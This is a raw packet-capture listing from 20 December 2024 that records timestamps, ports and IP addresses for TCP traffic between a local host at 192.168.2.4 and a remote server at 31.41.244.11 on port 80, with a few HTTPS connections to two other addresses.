Dec 20, 2024 07:12:30.181687117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.181749105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.182837009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.182935953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.182970047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.184019089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.184081078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.184128046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.185204029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.185281038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.185312986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.185369015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.186384916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.186491966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.186624050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.187585115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.189547062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.225080013 CET	443	49816	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:30.225177050 CET	49816	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:30.226831913 CET	49816	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:30.226845026 CET	443	49816	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:30.227643013 CET	443	49816	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:30.231049061 CET	49816	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:30.231147051 CET	49816	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:30.231209040 CET	443	49816	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:30.276906967 CET	443	49817	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:30.277103901 CET	49817	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:30.278386116 CET	49817	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:30.278419971 CET	443	49817	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:30.278759956 CET	443	49817	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:30.282598019 CET	49817	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:30.282779932 CET	49817	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:30.282830000 CET	443	49817	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:30.282941103 CET	49817	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:30.282955885 CET	443	49817	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:30.315093040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.315207958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.315309048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.315685034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.315783978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.315948009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.316917896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.317024946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.317065954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.317560911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.318053961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.318104982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.318145990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.318192959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.319266081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.319336891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.319410086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.319477081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.320413113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.320496082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.320518970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.320631981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.321641922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.321703911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.321753025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.325750113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.325897932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.325961113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.326368093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.326411009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.326478958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.327497005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.327552080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.327620029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.328710079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.328756094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.328782082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.329540968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.329921007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.329997063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.330023050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.330080032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.331059933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.331195116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.331331968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.332277060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.332391977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.332457066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.333431959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.333539009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.333540916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.333698988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.334638119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.334697008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.334784031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.334944010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.335798979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.335886955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.335916042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.336038113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.336987019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.337081909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.337101936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.337157011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.338197947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.338290930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.338346004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.339368105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.339423895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.339488029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.340610981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.340640068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.340670109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.340774059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.341736078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.341857910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.341938972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.342921019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.343200922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.343332052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.344090939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.344158888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.344194889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.345290899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.345387936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.345390081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.345552921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.346468925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.346586943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.346652985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.347693920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.347790956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.347851038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.348845959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.348917007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.348946095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.349580050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.350022078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.350142956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.350152016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.350253105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.351208925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.351331949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.351358891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.351407051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.352394104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.352472067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.352507114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.352628946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.353570938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.353668928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.353724003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.354764938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.354909897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.354969978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.355994940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.356046915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.356065989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.357137918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.357240915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.357291937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.357551098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.358329058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.358434916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.358489990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.359522104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.359649897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.359759092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.360680103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.360759020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.360790014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.361555099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.361865997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.361915112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.362020969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.362103939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.363053083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.363116026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.363147974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.363246918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.364252090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.364319086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.364352942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.364413023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.365431070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.365483999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.365483999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.365550041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.366641045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.366695881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.366826057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.367791891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.367913961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.368117094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.368995905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.369082928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.369102001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.369277000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.370172024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.370291948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.370384932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.371361971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.371444941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.371582031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.372530937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.372682095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.372682095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.373541117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.373713970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.373760939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.373801947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.373868942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.374910116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.374974966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.375017881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.375070095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.376095057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.376151085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.376183987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.376369953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.377286911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.377363920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.377398968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.377485037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.378453016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.378575087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.378626108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.379626989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.381640911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.507200003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.507288933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.507340908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.507723093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.507850885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.507921934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.508899927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.508977890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.509013891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.509538889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.510113001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.510165930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.510224104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.510272980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.511282921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.511332035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.511368036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.511511087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.512455940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.512504101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.512538910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.512592077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.513644934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.513737917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.514008045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.517893076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.518030882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.518080950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.518479109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.518604040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.518703938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.519686937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.519819975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.520108938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.520201921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.520246029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.521285057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.521398067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.521476030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.522474051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.522566080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.522628069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.523668051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.523716927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.523773909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.524868965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.524982929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.525022030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.525532961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.526024103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.526173115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.526232958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.527301073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.527338028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.527400970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.528398037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.528465986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.528640985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.529539108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.529582977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.529633999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.529674053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.529722929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.530781031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.530847073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.530908108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.530988932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.532006979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.532067060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.532068014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.532191038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.533135891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.533255100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.533260107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.533356905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.534331083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.534449100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.534495115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.535521030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.535629034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.535691977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.536701918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.536772966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.536808014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.537735939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.537883997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.537997007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.538021088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.538044930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.539144039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.539195061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.539205074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.539284945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.540254116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.540359020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.540359974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.540410042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.541429996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.541496992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.541563034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.542624950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.542675018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.542768002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.543797970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.543843031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.543891907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.543936968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.544989109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.545099974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.545141935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.546174049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.546281099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.546325922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.547365904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.547409058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.547450066 CET	80	49801	31.41.244.11	192.168.2.4
